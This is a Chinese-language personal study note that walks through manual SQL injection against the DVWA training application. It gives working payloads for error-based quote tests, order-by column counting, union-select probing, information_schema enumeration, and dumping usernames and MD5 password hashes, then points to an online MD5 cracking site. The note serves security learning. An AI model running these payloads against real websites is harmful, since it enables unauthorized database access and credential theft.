本文为个人学习笔记,难度LOW
目录
SQL注入
SQL注入攻击是通过操作输入来修改SQL语句,用以达到执行代码对WEB服务器进行攻击的方法。简单的说就是在post/getweb表单、输入域名或页面请求的查询字符串中插入SQL命令,最终使web服务器执行恶意命令的过程。可以通过一个例子简单说明SQL注入攻击。假设某网站页面显示时URL为http://www.example.com?test=123,此时URL实际向服务器传递了值为123的变量test,这表明当前页面是对数据库进行动态查询的结果。由此,我们可以在URL中插入恶意的SQL语句并进行执行。另外,在网站开发过程中,开发人员使用动态字符串构造SQL语句,用来创建所需的应用,这种情况下SQL语句在程序的执行过程中被动态的构造使用,可以根据不同的条件产生不同的SQL语句,比如需要根据不同的要求来查询数据库中的字段。这样的开发过程其实为SQL注入攻击留下了很多的可乘之机
判断注入类型
注入类型分为字符型和数字型
字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的
但当我们输入1时,页面正常回显,并且可以看到是get传参的方式
但在我们输入1’后页面报错
输入1’ and 1=1正常回显
确定其为字符型报错
判断字段数
利用order by 判断字段数,报错时就代表字段数
1’ order by1时正常回显
1’ order by 2 #正常回显
1’ order by 3 #回显错误
证明其字段只有两列
判段回显位置
利用联合查询union select,查询的同时注意回显位置
我们先查询3项,分别是其数据库版本、数据库、用户
1' union select version(),database(),user()# 但出现报错
去掉一项后正常回显
1' union select version(),database()#
说明有两个回显位置1' union select 1,2#
查询表名
利用数据库information_schema进行查询
1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#
我们可以看到dvwa数据库中有两个表:guestbooks和users
查询表中字段
我们大概可以确定users表中会含有用户名密码,接下来就是查询users表中的字段
1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#
发现user和passworld,然后获取这两个字段中的数据
1' union select user,password from users#
出现了用户名和密码
密码是md5加密的,使用在线解密工具就可以得到密码
md5在线解密:MD5免费在线解密破解_MD5在线加密-SOMD5